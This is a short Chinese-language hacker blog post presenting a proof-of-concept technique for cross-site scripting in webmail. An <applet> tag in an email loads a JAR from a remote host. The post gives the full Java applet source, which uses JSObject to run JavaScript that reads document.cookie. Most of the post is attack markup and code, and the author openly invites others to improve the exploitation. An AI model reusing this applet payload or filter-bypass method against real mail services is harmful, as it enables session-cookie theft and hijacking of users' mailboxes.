APPLET AND XSS THE MAIL
AUTHOR : KJ021320
TEAM : I.S.T.O
BLOG : blog.csdn.net/kj021320
在APPLET中其实可以运行JAVASCRIPT 而 JS中又可以获取COOKIE,添加IFRAME等
然而我们就可以采用这样的方式绕过某些过滤器去XSS EMAIL了!
晚饭的时候跟 刺他们讨论了一下~~偶感觉局限性很大 所以扔出来 抛砖引玉看看有没有人可以有更好的利用方式
1。首先EMAIL语法分析器不过滤 <applet 标签
2。被攻击者有安装JRE 能运行APPLET
似乎有点难! -_- 像HOTMAIL YAHOO GMAIL那些都过滤了APPLET
现在开始我们的方案
首先是 applet标签
<applet code="cn.isto.XSSJApplet" width=350 height=200 codebase="" archive="JavaAppletXss.jar" name="xss"></applet>
一般是这样的!
archive的位置是加载的JAR 这里幸好可以调用远程的连接
也就是这样可以实现
<applet code="cn.isto.XSSJApplet" width=350 height=200 codebase="" archive="http://istoweb/JavaAppletXss.jar" name="xss"></applet>
OK 现在来构造我们的XSSJApplet 类
/*
* XSSJApplet.java
* Created on 2007年12月4日, 下午3:40
*/
package cn.isto;
import java.applet.AppletContext;
import java.io.OutputStream;
import java.net.*;
import netscape.javascript.*;
/**
* @author kj021320
*/
public class XSSJApplet extends javax.swing.JApplet {
/** Initializes the applet XSSJApplet */
public void init() {
URL attackUrl;
AppletContext at;
URLConnection uc;
try {
initComponents();
//调用JSObject 对象来直接执行 JS代码
JSObject.getWindow(this).eval("alert(document.cookie)");
} catch (Exception ex) {
ex.printStackTrace();
}
}
private void initComponents() {
jLabelTitle = new javax.swing.JLabel();
jLabelTitle.setText("kj021320[I.S.T.O] XSS APPLET");
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(21, 21, 21)
.addComponent(jLabelTitle, javax.swing.GroupLayout.PREFERRED_SIZE, 180, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(29, Short.MAX_VALUE))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(26, 26, 26)
.addComponent(jLabelTitle)
.addContainerGap(111, Short.MAX_VALUE))
);
}
private javax.swing.JLabel jLabelTitle;
}
全文完